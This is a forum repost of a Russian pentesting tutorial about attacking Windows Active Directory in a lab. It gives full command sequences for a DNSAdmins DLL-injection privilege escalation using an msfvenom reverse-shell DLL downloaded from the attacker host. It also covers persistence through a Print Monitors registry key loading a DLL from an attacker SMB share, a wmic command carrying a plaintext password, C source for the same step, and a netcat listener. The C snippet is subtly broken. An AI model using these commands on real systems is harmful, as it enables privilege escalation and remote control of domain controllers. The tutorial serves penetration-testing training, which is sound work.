[Информационная безопасность] Барахолка для Пентестера
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:
- Что такого с DNSAdmins?
- Persistence
- Можно ли обойтись без Bloodhound?
DNSAdminsТестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:
- Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172
- Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3
Настройка стенда, начальные условия:
- атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins
- у учетной записи жертвы включен удаленный доступ через WinRM;
Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти здесь.Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности здесь.Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан здесь, как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка R_DnssrvOperation. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе. Атака производится в несколько этапов:
- Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это windows/shell/reverse_tcp. Команда для генерации следующая:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll
Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:
python3 -m http.server 7979
- Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:
Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
- Запускаем слушателя. Можно пользоваться модулем exploit/multi/handler. Предварительно его настроив, примерно так:
nc -lvp 4444
- Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:
dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dll
sc stop dns
sc start dns
В итоге, проверяем привилегии в полученном shell:
PersistenceПосле получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления. Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors. Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару. Метод по шагам:
- Создаём dll:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
- открываем слушателя на Kali Linux:
sudo nc -lvvp 6666
- расшариваем для доступа dll:
smbserver.py -smb2support test /root
- добавляем в реестр dll:
wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
- перезагружаем ОС и получаем доступ к системе.
Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:
#include <windows.h>
int main()
{
MONITOR_INFO_2 mon;
TCHAR name[14] = TEXT("MonitorSlayer");
TCHAR arch[12] = TEXT("Windows x64");
TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = arch;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&mon);
return 0;
}
Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.Можно ли обойтись без Bloodhound?Bloodhound - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему. Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:
- ldap
- kerberos
- SMB
- DCOM
- RPC
Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах. Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".Схема использования инструмента следущая:dsquery <тип объекта> <фильтры> <опции>Типы объектов:WildCard Computer Contact Group OU Site Server User Quota PartitionПример выдачи запроса к поиску пользователей:
Пример выдачи запроса к поиску групп:
Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение"
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Законодательство в IT, IT-компании] В сети обнаружен зарубежный сервер Elasticsearch с обновляемой базой СМС-сообщений, предположительно, с номера 900
- [Информационная безопасность, Облачные сервисы] Идеальный пароль по науке: трудно взломать, невозможно забыть
- [Информационная безопасность, Криптография, Законодательство в IT, Криптовалюты] Украинские власти разоблачили крупную группировку криптовымогателей
- [Информационная безопасность, Python, Программирование, Машинное обучение] Вышла библиотека PyWhat для автоматического парсинга трафика
- [Информационная безопасность, Реверс-инжиниринг, Исследования и прогнозы в IT, IT-компании] Cassandra: криптор, который любит держаться в тени
- [Программирование, Java] Сравнение Java-записей, Lombok @Data и Kotlin data-классов (перевод)
- [Разработка под Android] Как использовать Android Data Binding в пользовательских представлениях? (перевод)
- [Python, Тестирование веб-сервисов] Почему мне так нравится использовать Python для автоматизации тестирования? (перевод)
- [Информационная безопасность, IT-инфраструктура, API] Предотвращение медленных маломощных атак на приложения и API (перевод)
- [.NET, Разработка игр, Unity] Предупреждение для разработчиков о грядущих критических изменениях в движке (перевод)
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_pentest (пентест), #_persistence, #_dnsadmins, #_bloodhound, #_blog_kompanii_otus (
Блог компании OTUS
), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 09:42
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll
python3 -m http.server 7979
Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
nc -lvp 4444
dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dll
sc stop dns sc start dns PersistenceПосле получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления. Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors. Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару. Метод по шагам:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
sudo nc -lvvp 6666
smbserver.py -smb2support test /root
wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
#include <windows.h>
int main() { MONITOR_INFO_2 mon; TCHAR name[14] = TEXT("MonitorSlayer"); TCHAR arch[12] = TEXT("Windows x64"); TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = arch; monitorInfo.pDLLName = dll; AddMonitor(NULL, 2, (LPBYTE)&mon); return 0; }
Пример выдачи запроса к поиску групп: Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение" =========== Источник: habr.com =========== Похожие новости:
Блог компании OTUS ), #_informatsionnaja_bezopasnost ( Информационная безопасность ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 09:42
Часовой пояс: UTC + 5